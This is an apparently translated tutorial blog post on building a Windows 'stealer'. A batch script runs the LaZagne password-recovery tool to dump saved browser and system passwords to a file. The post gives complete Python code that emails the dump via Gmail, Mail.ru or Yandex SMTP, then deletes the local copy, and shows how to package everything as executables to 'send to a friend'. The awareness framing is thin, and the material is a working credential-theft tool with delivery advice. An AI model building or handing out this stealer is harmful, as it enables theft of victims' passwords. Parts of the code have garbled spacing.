Python Stiller Mailing

What do we do?


Hello, reader today we will talk about why it is not necessary to open unchecked files downloaded from unknown sources and create such a file in order to understand what it can do on your PC. We will create a styller who will collect all our passwords and send them to us by mail.


What is needed for this?


We will need:


  1. Python 3.xx
  2. Password recovery tool (in our case, LaZagne )
  3. Two google accounts

And so we begin


To get started, put the .exe tool file LaZagne in the folder with our project. Next, create a .bat file with any name (I will have main.bat) and a send.py file.


We should get this structure:


Project:


  • laZagne.exe
  • send.py
  • main.bat

Write the code


Open the main.bat file and put the code there:


@Echo off
laZagne.exe all > pass.txt

Now when you launch our .bat file, we will have a pass.txt file in which all your passwords from browsers (and not only) will be. It remains only to send data to the mail. But how to do that?


Sending by mail

Open the file send.py and paste the code:


import smtplib                                              
import os                                                   
import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from email.mime.audio import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              
defsend_email(addr_from, password, addr_to, files):                            
    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               
    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     
    process_attachement(msg, files)
    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
        #============================================defprocess_attachement(msg, files):for f in files:
        if os.path.isfile(f):                               
            attach_file(msg,f)                              
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
                attach_file(msg,f+"/"+file)                 
defattach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype isNoneor encoding isnotNone:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
            fp.close()                                      
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            fp.close()
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)                                        
#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                                
files = ["pass.txt"]                                    
#=============================================
send_email(_from, _password, _to, files)

Now you need to configure and, depending on the service by which you will send mail, we change the highlighted code: Google (first you need to allow access for less secure applications ):


server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Mail.ru:


server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Yandex:


server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Finish .bat

Now in our .bat file we add the startup code of the send.py file and the deletion of the pass.txt file:


send.py
del /s "pass.txt"

Assembly


Now, after running main.bat, your passwords will be sent to your email, but if you don’t have Python installed, you won’t need to turn our send.py file into exe. To do this, open the console and write:


pip install pyinstaller
pyinstaller --onefile send.py

But you also need to turn the main.bat file into main.exe, and Bat To Exe Converter will help us with this . Click on the button with three dots ("...") and look for your main.bat file, click "Open", then click "Convert" and get the file main.exe. These three files are our styler, we cansend to a friend and rejoice check for performance.


Links



Also popular now: